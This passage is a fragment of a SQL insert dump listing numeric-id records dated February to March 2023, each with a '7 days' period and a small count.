days',0),(72190,15398,13491,13668,1370,667,'2023-02-10','7 days',1),(72191,15397,13491,13668,1370,667,'2023-02-10','7 days',1),(72192,15396,13491,13668,1370,667,'2023-02-10','7 days',0),(72193,15187,13490,13667,1456,667,'2023-02-10','7 days',0),(72194,15186,13490,13667,1456,667,'2023-02-10','7 days',2),(72195,15185,13490,13667,1456,667,'2023-02-10','7 days',0),(72196,15184,13490,13667,1456,667,'2023-02-10','7 days',0),(72197,15183,13490,13667,1456,667,'2023-02-10','7 days',1),(72198,15182,13490,13667,1456,667,'2023-02-10','7 days',1),(72199,14805,13489,13666,1370,667,'2023-02-10','7 days',2),(72200,14767,13489,13666,1370,667,'2023-02-10','7 days',0),(72201,14766,13489,13666,1370,667,'2023-02-10','7 days',0),(72202,14765,13489,13666,1370,667,'2023-02-10','7 days',1),(72203,14764,13489,13666,1370,667,'2023-02-10','7 days',0),(72204,16385,13483,13661,1456,667,'2023-02-10','7 days',0),(72205,16383,13483,13661,1456,667,'2023-02-10','7 days',0),(72206,16381,13483,13661,1456,667,'2023-02-10','7 days',1),(72207,16379,13483,13661,1456,667,'2023-02-10','7 days',0),(72208,16377,13483,13661,1456,667,'2023-02-10','7 days',1),(72209,9159,13500,13673,1705,91,'2023-02-17','7 days',1),(72210,9155,13500,13673,1705,91,'2023-02-17','7 days',1),(72211,7213,13500,13673,1705,91,'2023-02-17','7 days',1),(72212,7212,13500,13673,1705,91,'2023-02-17','7 days',1),(72213,21566,12908,13129,1068,326,'2023-02-17','7 days',0),(72214,21567,12960,13169,1410,975,'2023-02-17','7 days',1),(72215,21568,13001,13203,162,73,'2023-02-17','7 days',1),(72216,18932,13503,13675,1675,86,'2023-02-22','7 days',0),(72217,16781,13503,13675,1675,86,'2023-02-22','7 days',0),(72218,13235,13503,13675,1675,86,'2023-02-22','7 days',0),(72219,13093,13503,13675,1675,86,'2023-02-22','7 days',2),(72220,13092,13503,13675,1675,86,'2023-02-22','7 days',0),(72221,21534,13504,13676,1675,86,'2023-02-22','7 days',0),(72222,21528,13504,13676,1675,86,'2023-02-22','7 days',1),(72223,21364,13504,13676,1675,86,'2023-02-22','7 days',0),(72224,21363,13504,13676,1675,86,'2023-02-22','7 days',0),(72225,21362,13504,13676,1675,86,'2023-02-22','7 days',0),(72226,20789,13505,13677,1574,86,'2023-02-22','7 days',0),(72227,20731,13505,13677,1574,86,'2023-02-22','7 days',0),(72228,20730,13505,13677,1574,86,'2023-02-22','7 days',0),(72229,20666,13505,13677,1574,86,'2023-02-22','7 days',0),(72230,20665,13505,13677,1574,86,'2023-02-22','7 days',0),(72231,18259,13508,13430,359,251,'2023-02-22','7 days',0),(72232,5409,13508,13430,359,251,'2023-02-22','7 days',0),(72233,5407,13508,13430,359,251,'2023-02-22','7 days',0),(72234,5406,13508,13430,359,251,'2023-02-22','7 days',0),(72235,4274,13508,13430,359,251,'2023-02-22','7 days',0),(72236,4273,13508,13430,359,251,'2023-02-22','7 days',0),(72237,3257,13508,13430,359,251,'2023-02-22','7 days',0),(72238,3255,13508,13430,359,251,'2023-02-22','7 days',0),(72239,9159,13506,13219,1011,91,'2023-02-22','7 days',1),(72240,9155,13506,13219,1011,91,'2023-02-22','7 days',1),(72241,7213,13506,13219,1011,91,'2023-02-22','7 days',1),(72242,7212,13506,13219,1011,91,'2023-02-22','7 days',1),(72243,14584,13503,13675,1675,86,'2023-02-23','7 days',0),(72244,14583,13503,13675,1675,86,'2023-02-23','7 days',0),(72245,14582,13503,13675,1675,86,'2023-02-23','7 days',0),(72246,14581,13503,13675,1675,86,'2023-02-23','7 days',0),(72247,13105,13503,13675,1675,86,'2023-02-23','7 days',0),(72248,14584,13504,13676,1675,86,'2023-02-23','7 days',0),(72249,14583,13504,13676,1675,86,'2023-02-23','7 days',0),(72250,14582,13504,13676,1675,86,'2023-02-23','7 days',0),(72251,14581,13504,13676,1675,86,'2023-02-23','7 days',0),(72252,13105,13504,13676,1675,86,'2023-02-23','7 days',0),(72253,21534,13505,13677,1574,86,'2023-02-23','7 days',0),(72254,21528,13505,13677,1574,86,'2023-02-23','7 days',1),(72255,21364,13505,13677,1574,86,'2023-02-23','7 days',0),(72256,21363,13505,13677,1574,86,'2023-02-23','7 days',0),(72257,21362,13505,13677,1574,86,'2023-02-23','7 days',0),(72258,18933,13503,13675,1675,86,'2023-02-24','7 days',0),(72259,18913,13503,13675,1675,86,'2023-02-24','7 days',0),(72260,18292,13503,13675,1675,86,'2023-02-24','7 days',0),(72261,14913,13503,13675,1675,86,'2023-02-24','7 days',0),(72262,10807,13503,13675,1675,86,'2023-02-24','7 days',0),(72263,12274,13509,13679,1011,91,'2023-02-24','7 days',1),(72264,12273,13509,13679,1011,91,'2023-02-24','7 days',1),(72265,12264,13509,13679,1011,91,'2023-02-24','7 days',1),(72266,12263,13509,13679,1011,91,'2023-02-24','7 days',1),(72267,21374,13502,13674,195,45,'2023-02-24','7 days',1),(72268,14534,13502,13674,195,45,'2023-02-24','7 days',1),(72269,12532,13502,13674,195,45,'2023-02-24','7 days',1),(72270,12531,13502,13674,195,45,'2023-02-24','7 days',1),(72271,11715,13502,13674,195,45,'2023-02-24','7 days',1),(72272,11714,13502,13674,195,45,'2023-02-24','7 days',1),(72273,11715,13501,13674,195,45,'2023-02-24','7 days',1),(72274,11714,13501,13674,195,45,'2023-02-24','7 days',1),(72275,10976,13501,13674,195,45,'2023-02-24','7 days',1),(72276,10975,13501,13674,195,45,'2023-02-24','7 days',1),(72277,5467,13501,13674,195,45,'2023-02-24','7 days',1),(72278,12562,13477,13654,194,45,'2023-02-24','7 days',1),(72279,11689,13477,13654,194,45,'2023-02-24','7 days',1),(72280,11688,13477,13654,194,45,'2023-02-24','7 days',2),(72281,11687,13477,13654,194,45,'2023-02-24','7 days',1),(72282,21476,13510,13680,1783,975,'2023-02-24','7 days',0),(72283,21475,13510,13680,1783,975,'2023-02-24','7 days',0),(72284,20788,13510,13680,1783,975,'2023-02-24','7 days',1),(72285,18830,13510,13680,1783,975,'2023-02-24','7 days',0),(72286,17409,13510,13680,1783,975,'2023-02-24','7 days',1),(72287,17383,13510,13680,1783,975,'2023-02-24','7 days',1),(72288,17382,13510,13680,1783,975,'2023-02-24','7 days',0),(72289,15663,13510,13680,1783,975,'2023-02-24','7 days',1),(72290,20792,13513,12577,222,85,'2023-02-24','7 days',0),(72291,11446,13513,12577,222,85,'2023-02-24','7 days',0),(72292,11445,13513,12577,222,85,'2023-02-24','7 days',0),(72293,11444,13513,12577,222,85,'2023-02-24','7 days',0),(72294,11443,13513,12577,222,85,'2023-02-24','7 days',0),(72295,11442,13513,12577,222,85,'2023-02-24','7 days',0),(72296,11441,13513,12577,222,85,'2023-02-24','7 days',0),(72297,11440,13513,12577,222,85,'2023-02-24','7 days',0),(72298,11438,13513,12577,222,85,'2023-02-24','7 days',0),(72299,11437,13513,12577,222,85,'2023-02-24','7 days',1),(72300,11436,13513,12577,222,85,'2023-02-24','7 days',0),(72301,11435,13513,12577,222,85,'2023-02-24','7 days',0),(72302,11434,13513,12577,222,85,'2023-02-24','7 days',0),(72303,11433,13513,12577,222,85,'2023-02-24','7 days',0),(72304,11432,13513,12577,222,85,'2023-02-24','7 days',0),(72305,11431,13513,12577,222,85,'2023-02-24','7 days',0),(72306,11269,13513,12577,222,85,'2023-02-24','7 days',0),(72307,11268,13513,12577,222,85,'2023-02-24','7 days',0),(72308,11267,13513,12577,222,85,'2023-02-24','7 days',0),(72309,11266,13513,12577,222,85,'2023-02-24','7 days',0),(72310,11265,13513,12577,222,85,'2023-02-24','7 days',0),(72311,21476,13511,13681,1783,975,'2023-02-25','7 days',0),(72312,17408,13511,13681,1783,975,'2023-02-25','7 days',0),(72313,17390,13511,13681,1783,975,'2023-02-25','7 days',0),(72314,17389,13511,13681,1783,975,'2023-02-25','7 days',0),(72315,17388,13511,13681,1783,975,'2023-02-25','7 days',0),(72316,17387,13511,13681,1783,975,'2023-02-25','7 days',0),(72317,17384,13511,13681,1783,975,'2023-02-25','7 days',0),(72318,21476,13514,13683,1783,975,'2023-02-25','7 days',0),(72319,21475,13514,13683,1783,975,'2023-02-25','7 days',0),(72320,18830,13514,13683,1783,975,'2023-02-25','7 days',0),(72321,17408,13514,13683,1783,975,'2023-02-25','7 days',0),(72322,17406,13514,13683,1783,975,'2023-02-25','7 days',1),(72323,17403,13514,13683,1783,975,'2023-02-25','7 days',0),(72324,17387,13514,13683,1783,975,'2023-02-25','7 days',0),(72325,17384,13514,13683,1783,975,'2023-02-25','7 days',0),(72326,21475,13512,13682,1783,975,'2023-02-25','7 days',0),(72327,17409,13512,13682,1783,975,'2023-02-25','7 days',1),(72328,17407,13512,13682,1783,975,'2023-02-25','7 days',0),(72329,17405,13512,13682,1783,975,'2023-02-25','7 days',1),(72330,17403,13512,13682,1783,975,'2023-02-25','7 days',0),(72331,17391,13512,13682,1783,975,'2023-02-25','7 days',0),(72332,17390,13512,13682,1783,975,'2023-02-25','7 days',0),(72333,4512,13521,13690,633,639,'2023-02-27','7 days',1),(72334,4494,13521,13690,633,639,'2023-02-27','7 days',1),(72335,4487,13521,13690,633,639,'2023-02-27','7 days',0),(72336,4483,13521,13690,633,639,'2023-02-27','7 days',0),(72337,4477,13521,13690,633,639,'2023-02-27','7 days',0),(72338,4473,13521,13690,633,639,'2023-02-27','7 days',0),(72339,4452,13521,13690,633,639,'2023-02-27','7 days',0),(72340,4510,13521,13690,633,639,'2023-02-27','7 days',0),(72341,4506,13521,13690,633,639,'2023-02-27','7 days',0),(72342,8796,13521,13690,633,639,'2023-02-27','7 days',0),(72343,4502,13521,13690,633,639,'2023-02-27','7 days',0),(72344,21530,13521,13690,633,639,'2023-02-27','7 days',0),(72345,17489,13521,13690,633,639,'2023-02-27','7 days',0),(72346,17451,13521,13690,633,639,'2023-02-27','7 days',0),(72347,4516,13521,13690,633,639,'2023-02-27','7 days',0),(72348,4514,13521,13690,633,639,'2023-02-27','7 days',0),(72349,4499,13521,13690,633,639,'2023-02-27','7 days',2),(72350,4467,13521,13690,633,639,'2023-02-27','7 days',0),(72351,4460,13521,13690,633,639,'2023-02-27','7 days',2),(72352,21601,13526,13695,1456,667,'2023-03-01','7 days',0),(72353,21600,13526,13695,1456,667,'2023-03-01','7 days',0),(72354,21599,13526,13695,1456,667,'2023-03-01','7 days',0),(72355,21598,13526,13695,1456,667,'2023-03-01','7 days',0),(72356,21597,13526,13695,1456,667,'2023-03-01','7 days',0),(72357,21596,13526,13695,1456,667,'2023-03-01','7 days',0),(72358,21595,13526,13695,1456,667,'2023-03-01','7 days',0),(72359,21594,13526,13695,1456,667,'2023-03-01','7 days',0),(72360,21593,13526,13695,1456,667,'2023-03-01','7 days',0),(72361,21592,13526,13695,1456,667,'2023-03-01','7 days',0),(72362,21591,13526,13695,1456,667,'2023-03-01','7 days',0),(72363,21590,13526,13695,1456,667,'2023-03-01','7 days',0),(72364,21589,13526,13695,1456,667,'2023-03-01','7 days',0),(72365,21588,13526,13695,1456,667,'2023-03-01','7 days',0),(72366,21587,13526,13695,1456,667,'2023-03-01','7 days',0),(72367,21586,13526,13695,1456,667,'2023-03-01','7 days',0),(72368,21585,13526,13695,1456,667,'2023-03-01','7 days',0),(72369,21584,13526,13695,1456,667,'2023-03-01','7 days',0),(72370,21583,13526,13695,1456,667,'2023-03-01','7 days',1),(72371,21582,13526,13695,1456,667,'2023-03-01','7 days',0),(72372,21581,13526,13695,1456,667,'2023-03-01','7 days',0),(72373,21580,13526,13695,1456,667,'2023-03-01','7 days',0),(72374,21579,13526,13695,1456,667,'2023-03-01','7 days',0),(72375,21578,13526,13695,1456,667,'2023-03-01','7 days',0),(72376,21577,13526,13695,1456,667,'2023-03-01','7 days',0),(72377,21576,13526,13695,1456,667,'2023-03-01','7 days',0),(72378,21575,13526,13695,1456,667,'2023-03-01','7 days',0),(72379,21574,13526,13695,1456,667,'2023-03-01','7 days',0),(72380,21573,13526,13695,1456,667,'2023-03-01','7 days',0),(72381,21572,13526,13695,1456,667,'2023-03-01','7 days',0),(72382,21571,13526,13695,1456,667,'2023-03-01','7 days',0),(72383,21570,13526,13695,1456,667,'2023-03-01','7 days',2),(72384,21569,13526,13695,1456,667,'2023-03-01','7 days',0),(72385,21529,13525,13693,161,73,'2023-03-01','7 days',1),(72386,21568,13525,13693,161,73,'2023-03-01','7 days',0),(72387,21378,13525,13693,161,73,'2023-03-01','7 days',1),(72388,20319,13525,13693,161,73,'2023-03-01','7 days',0),(72389,20315,13525,13693,161,73,'2023-03-01','7 days',0),(72390,20314,13525,13693,161,73,'2023-03-01','7 days',0),(72391,20292,13525,13693,161,73,'2023-03-01','7 days',0),(72392,21408,13502,13674,195,45,'2023-03-01','7 days',0),(72393,10976,13502,13674,195,45,'2023-03-01','7 days',1),(72394,10975,13502,13674,195,45,'2023-03-01','7 days',1),(72395,5467,13502,13674,195,45,'2023-03-01','7 days',1),(72396,1989,13502,13674,195,45,'2023-03-01','7 days',1),(72397,14685,13502,13674,195,45,'2023-03-01','7 days',1),(72398,14684,13502,13674,195,45,'2023-03-01','7 days',0),(72399,13913,13502,13674,195,45,'2023-03-01','7 days',0),(72400,12562,13502,13674,195,45,'2023-03-01','7 days',1),(72401,11689,13502,13674,195,45,'2023-03-01','7 days',1),(72402,11688,13502,13674,195,45,'2023-03-01','7 days',0),(72403,11687,13502,13674,195,45,'2023-03-01','7 days',1),(72404,11686,13502,13674,195,45,'2023-03-01','7 days',0),(72405,11163,13502,13674,195,45,'2023-03-01','7 days',0),(72406,11162,13502,13674,195,45,'2023-03-01','7 days',1),(72407,9206,13502,13674,195,45,'2023-03-01','7 days',1),(72408,21476,13529,13698,1779,975,'2023-03-04','7 days',0),(72409,21475,13529,13698,1779,975,'2023-03-04','7 days',0),(72410,20788,13529,13698,1779,975,'2023-03-04','7 days',1),(72411,18830,13529,13698,1779,975,'2023-03-04','7 days',0),(72412,17409,13529,13698,1779,975,'2023-03-04','7 days',1),(72413,17408,13529,13698,1779,975,'2023-03-04','7 days',0),(72414,17407,13529,13698,1779,975,'2023-03-04','7 days',0),(72415,17406,13529,13698,1779,975,'2023-03-04','7 days',1),(72416,17405,13529,13698,1779,975,'2023-03-04','7 days',1),(72417,17404,13529,13698,1779,975,'2023-03-04','7 days',0),(72418,17403,13529,13698,1779,975,'2023-03-04','7 days',0),(72419,17391,13529,13698,1779,975,'2023-03-04','7 days',2),(72420,17390,13529,13698,1779,975,'2023-03-04','7 days',0),(72421,17389,13529,13698,1779,975,'2023-03-04','7 days',0),(72422,17388,13529,13698,1779,975,'2023-03-04','7 days',0),(72423,17387,13529,13698,1779,975,'2023-03-04','7 days',0),(72424,17386,13529,13698,1779,975,'2023-03-04','7 days',0),(72425,17385,13529,13698,1779,975,'2023-03-04','7 days',0),(72426,17384,13529,13698,1779,975,'2023-03-04','7 days',0),(72427,17383,13529,13698,1779,975,'2023-03-04','7 days',1),(72428,17382,13529,13698,1779,975,'2023-03-04','7 days',0),(72429,15663,13529,13698,1779,975,'2023-03-04','7 days',1),(72430,21625,13526,13695,1456,667,'2023-03-04','7 days',0),(72431,21624,13526,13695,1456,667,'2023-03-04','7 days',0),(72432,21623,13526,13695,1456,667,'2023-03-04','7 days',0),(72433,21622,13526,13695,1456,667,'2023-03-04','7 days',0),(72434,21621,13526,13695,1456,667,'2023-03-04','7 days',0),(72435,21620,13526,13695,1456,667,'2023-03-04','7 days',0),(72436,21619,13526,13695,1456,667,'2023-03-04','7 days',0),(72437,21618,13526,13695,1456,667,'2023-03-04','7 days',0),(72438,21617,13526,13695,1456,667,'2023-03-04','7 days',0),(72439,21616,13526,13695,1456,667,'2023-03-04','7 days',1),(72440,21615,13526,13695,1456,667,'2023-03-04','7 days',0),(72441,21614,13526,13695,1456,667,'2023-03-04','7 days',1),(72442,21613,13526,13695,1456,667,'2023-03-04','7 days',0),(72443,21612,13526,13695,1456,667,'2023-03-04','7 days',0),(72444,21611,13526,13695,1456,667,'2023-03-04','7 days',2),(72445,21610,13526,13695,1456,667,'2023-03-04','7 days',0),(72446,21609,13526,13695,1456,667,'2023-03-04','7 days',0),(72447,21608,13526,13695,1456,667,'2023-03-04','7 days',0),(72448,21607,13526,13695,1456,667,'2023-03-04','7 days',0),(72449,21606,13526,13695,1456,667,'2023-03-04','7 days',0),(72450,21605,13526,13695,1456,667,'2023-03-04','7 days',0),(72451,21604,13526,13695,1456,667,'2023-03-04','7 days',0),(72452,21603,13526,13695,1456,667,'2023-03-04','7 days',0),(72453,21602,13526,13695,1456,667,'2023-03-04','7 days',0),(72454,21319,13540,13708,162,73,'2023-03-10','7 days',0),(72455,21318,13540,13708,162,73,'2023-03-10','7 days',0),(72456,21316,13540,13708,162,73,'2023-03-10','7 days',0),(72457,21308,13540,13708,162,73,'2023-03-10','7 days',0),(72458,21307,13540,13708,162,73,'2023-03-10','7 days',1),(72459,21295,13540,13708,162,73,'2023-03-10','7 days',0),(72460,21293,13540,13708,162,73,'2023-03-10','7 days',0),(72461,21292,13540,13708,162,73,'2023-03-10','7 days',0),(72462,20319,13540,13708,162,73,'2023-03-10','7 days',0),(72463,20318,13540,13708,162,73,'2023-03-10','7 days',0),(72464,20316,13540,13708,162,73,'2023-03-10','7 days',0),(72465,20310,13540,13708,162,73,'2023-03-10','7 days',0),(72466,20309,13540,13708,162,73,'2023-03-10','7 days',0),(72467,20298,13540,13708,162,73,'2023-03-10','7 days',0),(72468,20297,13540,13708,162,73,'2023-03-10','7 days',0),(72469,20285,13540,13708,162,73,'2023-03-10','7 days',0),(72470,20284,13540,13708,162,73,'2023-03-10','7 days',0),(72471,20283,13540,13708,162,73,'2023-03-10','7 days',0),(72472,20282,13540,13708,162,73,'2023-03-10','7 days',0),(72473,640,13540,13708,162,73,'2023-03-10','7 days',0),(72474,21626,13142,13343,1070,326,'2023-03-13','7 days',1),(72475,20792,13548,13712,222,85,'2023-03-13','7 days',0),(72476,11446,13548,13712,222,85,'2023-03-13','7 days',0),(72477,11445,13548,13712,222,85,'2023-03-13','7 days',0),(72478,11444,13548,13712,222,85,'2023-03-13','7 days',0),(72479,11443,13548,13712,222,85,'2023-03-13','7 days',0),(72480,11442,13548,13712,222,85,'2023-03-13','7 days',0),(72481,11441,13548,13712,222,85,'2023-03-13','7 days',0),(72482,11440,13548,13712,222,85,'2023-03-13','7 days',0),(72483,11438,13548,13712,222,85,'2023-03-13','7 days',0),(72484,11437,13548,13712,222,85,'2023-03-13','7 days',0),(72485,11436,13548,13712,222,85,'2023-03-13','7 days',0),(72486,11435,13548,13712,222,85,'2023-03-13','7 days',0),(72487,11434,13548,13712,222,85,'2023-03-13','7 days',0),(72488,11433,13548,13712,222,85,'2023-03-13','7 days',0),(72489,11432,13548,13712,222,85,'2023-03-13','7 days',0),(72490,11431,13548,13712,222,85,'2023-03-13','7 days',0),(72491,11269,13548,13712,222,85,'2023-03-13','7 days',0),(72492,11268,13548,13712,222,85,'2023-03-13','7 days',0),(72493,11267,13548,13712,222,85,'2023-03-13','7 days',0),(72494,11266,13548,13712,222,85,'2023-03-13','7 days',0),(72495,11265,13548,13712,222,85,'2023-03-13','7 days',0),(72496,11264,13548,13712,222,85,'2023-03-13','7 days',0),(72497,11263,13548,13712,222,85,'2023-03-13','7 days',0),(72498,11262,13548,13712,222,85,'2023-03-13','7 days',0),(72499,11261,13548,13712,222,85,'2023-03-13','7 days',0),(72500,11260,13548,13712,222,85,'2023-03-13','7 days',0),(72501,20792,13547,13711,222,85,'2023-03-13','7 days',0),(72502,11446,13547,13711,222,85,'2023-03-13','7 days',0),(72503,11445,13547,13711,222,85,'2023-03-13','7 days',0),(72504,11444,13547,13711,222,85,'2023-03-13','7 days',0),(72505,11443,13547,13711,222,85,'2023-03-13','7 days',0),(72506,11442,13547,13711,222,85,'2023-03-13','7 days',0),(72507,11441,13547,13711,222,85,'2023-03-13','7 days',0),(72508,11440,13547,13711,222,85,'2023-03-13','7 days',0),(72509,11438,13547,13711,222,85,'2023-03-13','7 days',0),(72510,11437,13547,13711,222,85,'2023-03-13','7 days',0),(72511,11436,13547,13711,222,85,'2023-03-13','7 days',0),(72512,11435,13547,13711,222,85,'2023-03-13','7 days',0),(72513,11434,13547,13711,222,85,'2023-03-13','7 days',2),(72514,11433,13547,13711,222,85,'2023-03-13','7 days',0),(72515,11432,13547,13711,222,85,'2023-03-13','7 days',0),(72516,11431,13547,13711,222,85,'2023-03-13','7 days',0),(72517,11269,13547,13711,222,85,'2023-03-13','7 days',0),(72518,11268,13547,13711,222,85,'2023-03-13','7 days',0),(72519,11267,13547,13711,222,85,'2023-03-13','7 days',0),(72520,11266,13547,13711,222,85,'2023-03-13','7 days',0),(72521,11265,13547,13711,222,85,'2023-03-13','7 days',0),(72522,11264,13547,13711,222,85,'2023-03-13','7 days',0),(72523,11263,13547,13711,222,85,'2023-03-13','7 days',0),(72524,11262,13547,13711,222,85,'2023-03-13','7 days',0),(72525,11261,13547,13711,222,85,'2023-03-13','7 days',0),(72526,11260,13547,13711,222,85,'2023-03-13','7 days',0),(72527,20792,13546,13710,222,85,'2023-03-13','7 days',0),(72528,11446,13546,13710,222,85,'2023-03-13','7 days',0),(72529,11445,13546,13710,222,85,'2023-03-13','7 days',0),(72530,11444,13546,13710,222,85,'2023-03-13','7 days',0),(72531,11443,13546,13710,222,85,'2023-03-13','7 days',0),(72532,11442,13546,13710,222,85,'2023-03-13','7 days',0),(72533,11441,13546,13710,222,85,'2023-03-13','7 days',0),(72534,11440,13546,13710,222,85,'2023-03-13','7 days',0),(72535,11438,13546,13710,222,85,'2023-03-13','7 days',0),(72536,11437,13546,13710,222,85,'2023-03-13','7 days',0),(72537,11436,13546,13710,222,85,'2023-03-13','7 days',0),(72538,11435,13546,13710,222,85,'2023-03-13','7 days',0),(72539,11434,13546,13710,222,85,'2023-03-13','7 days',0),(72540,11433,13546,13710,222,85,'2023-03-13','7 days',0),(72541,11432,13546,13710,222,85,'2023-03-13','7 days',0),(72542,11431,13546,13710,222,85,'2023-03-13','7 days',0),(72543,11269,13546,13710,222,85,'2023-03-13','7 days',0),(72544,11268,13546,13710,222,85,'2023-03-13','7 days',0),(72545,11267,13546,13710,222,85,'2023-03-13','7 days',0),(72546,11266,13546,13710,222,85,'2023-03-13','7 days',0),(72547,11265,13546,13710,222,85,'2023-03-13','7 days',0),(72548,11264,13546,13710,222,85,'2023-03-13','7 days',0),(72549,11263,13546,13710,222,85,'2023-03-13','7 days',0),(72550,11262,13546,13710,222,85,'2023-03-13','7 days',0),(72551,11261,13546,13710,222,85,'2023-03-13','7 days',0),(72552,11260,13546,13710,222,85,'2023-03-13','7 days',0),(72553,20792,13536,13705,221,85,'2023-03-13','7 days',0),(72554,11446,13536,13705,221,85,'2023-03-13','7 days',0),(72555,11445,13536,13705,221,85,'2023-03-13','7 days',0),(72556,11444,13536,13705,221,85,'2023-03-13','7 days',0),(72557,11443,13536,13705,221,85,'2023-03-13','7 days',0),(72558,11442,13536,13705,221,85,'2023-03-13','7 days',0),(72559,11441,13536,13705,221,85,'2023-03-13','7 days',0),(72560,11440,13536,13705,221,85,'2023-03-13','7 days',0),(72561,11438,13536,13705,221,85,'2023-03-13','7 days',0),(72562,11437,13536,13705,221,85,'2023-03-13','7 days',0),(72563,11436,13536,13705,221,85,'2023-03-13','7 days',0),(72564,11435,13536,13705,221,85,'2023-03-13','7 days',0),(72565,11434,13536,13705,221,85,'2023-03-13','7 days',0),(72566,11433,13536,13705,221,85,'2023-03-13','7 days',0),(72567,11432,13536,13705,221,85,'2023-03-13','7 days',0),(72568,11431,13536,13705,221,85,'2023-03-13','7 days',0),(72569,11269,13536,13705,221,85,'2023-03-13','7 days',0),(72570,11268,13536,13705,221,85,'2023-03-13','7 days',0),(72571,11267,13536,13705,221,85,'2023-03-13','7 days',0),(72572,11266,13536,13705,221,85,'2023-03-13','7 days',0),(72573,11265,13536,13705,221,85,'2023-03-13','7 days',0),(72574,11264,13536,13705,221,85,'2023-03-13','7 days',0),(72575,11263,13536,13705,221,85,'2023-03-13','7 days',0),(72576,11262,13536,13705,221,85,'2023-03-13','7 days',0),(72577,11261,13536,13705,221,85,'2023-03-13','7 days',0),(72578,11260,13536,13705,221,85,'2023-03-13','7 days',0),(72579,20792,13535,13704,222,85,'2023-03-13','7 days',0),(72580,11446,13535,13704,222,85,'2023-03-13','7 days',0),(72581,11445,13535,13704,222,85,'2023-03-13','7 days',0),(72582,11444,13535,13704,222,85,'2023-03-13','7 days',0),(72583,11443,13535,13704,222,85,'2023-03-13','7 days',0),(72584,11442,13535,13704,222,85,'2023-03-13','7 days',0),(72585,11441,13535,13704,222,85,'2023-03-13','7 days',0),(72586,11440,13535,13704,222,85,'2023-03-13','7 days',0),(72587,11438,13535,13704,222,85,'2023-03-13','7 days',0),(72588,11437,13535,13704,222,85,'2023-03-13','7 days',0),(72589,11436,13535,13704,222,85,'2023-03-13','7 days',0),(72590,11435,13535,13704,222,85,'2023-03-13','7 days',0),(72591,11434,13535,13704,222,85,'2023-03-13','7 days',0),(72592,11433,13535,13704,222,85,'2023-03-13','7 days',0),(72593,11432,13535,13704,222,85,'2023-03-13','7 days',0),(72594,11431,13535,13704,222,85,'2023-03-13','7 days',0),(72595,11269,13535,13704,222,85,'2023-03-13','7 days',0),(72596,11268,13535,13704,222,85,'2023-03-13','7 days',0),(72597,11267,13535,13704,222,85,'2023-03-13','7 days',0),(72598,11266,13535,13704,222,85,'2023-03-13','7 days',0),(72599,11265,13535,13704,222,85,'2023-03-13','7 days',0),(72600,11264,13535,13704,222,85,'2023-03-13','7 days',0),(72601,11263,13535,13704,222,85,'2023-03-13','7 days',0),(72602,11262,13535,13704,222,85,'2023-03-13','7 days',0),(72603,11261,13535,13704,222,85,'2023-03-13','7 days',0),(72604,11260,13535,13704,222,85,'2023-03-13','7 days',0),(72605,20792,13534,13703,222,85,'2023-03-13','7 days',0),(72606,11446,13534,13703,222,85,'2023-03-13','7 days',0),(72607,11445,13534,13703,222,85,'2023-03-13','7 days',0),(72608,11444,13534,13703,222,85,'2023-03-13','7 days',0),(72609,11443,13534,13703,222,85,'2023-03-13','7 days',0),(72610,11442,13534,13703,222,85,'2023-03-13','7 days',0),(72611,11441,13534,13703,222,85,'2023-03-13','7 days',0),(72612,11440,13534,13703,222,85,'2023-03-13','7 days',0),(72613,11438,13534,13703,222,85,'2023-03-13','7 days',0),(72614,11437,13534,13703,222,85,'2023-03-13','7 days',0),(72615,11436,13534,13703,222,85,'2023-03-13','7 days',0),(72616,11435,13534,13703,222,85,'2023-03-13','7 days',0),(72617,11434,13534,13703,222,85,'2023-03-13','7 days',0),(72618,11433,13534,13703,222,85,'2023-03-13','7 days',0),(72619,11432,13534,13703,222,85,'2023-03-13','7 days',0),(72620,11431,13534,13703,222,85,'2023-03-13','7 days',0),(72621,11269,13534,13703,222,85,'2023-03-13','7 days',0),(72622,11268,13534,13703,222,85,'2023-03-13','7 days',0),(72623,11267,13534,13703,222,85,'2023-03-13','7 days',0),(72624,11266,13534,13703,222,85,'2023-03-13','7 days',0),(72625,11265,13534,13703,222,85,'2023-03-13','7 days',0),(72626,11264,13534,13703,222,85,'2023-03-13','7 days',0),(72627,11263,13534,13703,222,85,'2023-03-13','7 days',0),(72628,11262,13534,13703,222,85,'2023-03-13','7 days',0),(72629,11261,13534,13703,222,85,'2023-03-13','7 days',0),(72630,11260,13534,13703,222,85,'2023-03-13','7 days',0),(72631,20792,13533,13702,222,85,'2023-03-13','7 days',0),(72632,11446,13533,13702,222,85,'2023-03-13','7 days',0),(72633,11445,13533,13702,222,85,'2023-03-13','7 days',0),(72634,11444,13533,13702,222,85,'2023-03-13','7 days',0),(72635,11443,13533,13702,222,85,'2023-03-13','7 days',0),(72636,11442,13533,13702,222,85,'2023-03-13','7 days',0),(72637,11441,13533,13702,222,85,'2023-03-13','7 days',0),(72638,11440,13533,13702,222,85,'2023-03-13','7 days',0),(72639,11438,13533,13702,222,85,'2023-03-13','7 days',0),(72640,11437,13533,13702,222,85,'2023-03-13','7 days',0),(72641,11436,13533,13702,222,85,'2023-03-13','7 days',0),(72642,11435,13533,13702,222,85,'2023-03-13','7 days',0),(72643,11434,13533,13702,222,85,'2023-03-13','7 days',0),(72644,11433,13533,13702,222,85,'2023-03-13','7 days',0),(72645,11432,13533,13702,222,85,'2023-03-13','7 days',0),(72646,11431,13533,13702,222,85,'2023-03-13','7 days',0),(72647,11269,13533,13702,222,85,'2023-03-13','7 days',0),(72648,11268,13533,13702,222,85,'2023-03-13','7 days',0),(72649,11267,13533,13702,222,85,'2023-03-13','7 days',0),(72650,11266,13533,13702,222,85,'2023-03-13','7 days',0),(72651,11265,13533,13702,222,85,'2023-03-13','7 days',0),(72652,11264,13533,13702,222,85,'2023-03-13','7 days',0),(72653,11263,13533,13702,222,85,'2023-03-13','7 days',0),(72654,11262,13533,13702,222,85,'2023-03-13','7 days',0),(72655,11261,13533,13702,222,85,'2023-03-13','7 days',0),(72656,11260,13533,13702,222,85,'2023-03-13','7 days',0),(72657,20792,13532,13701,221,85,'2023-03-13','7 days',0),(72658,11446,13532,13701,221,85,'2023-03-13','7 days',0),(72659,11445,13532,13701,221,85,'2023-03-13','7 days',0),(72660,11444,13532,13701,221,85,'2023-03-13','7 days',0),(72661,11443,13532,13701,221,85,'2023-03-13','7 days',0),(72662,11442,13532,13701,221,85,'2023-03-13','7 days',0),(72663,11441,13532,13701,221,85,'2023-03-13','7 days',0),(72664,11440,13532,13701,221,85,'2023-03-13','7 days',0),(72665,11438,13532,13701,221,85,'2023-03-13','7 days',0),(72666,11437,13532,13701,221,85,'2023-03-13','7 days',0),(72667,11436,13532,13701,221,85,'2023-03-13','7 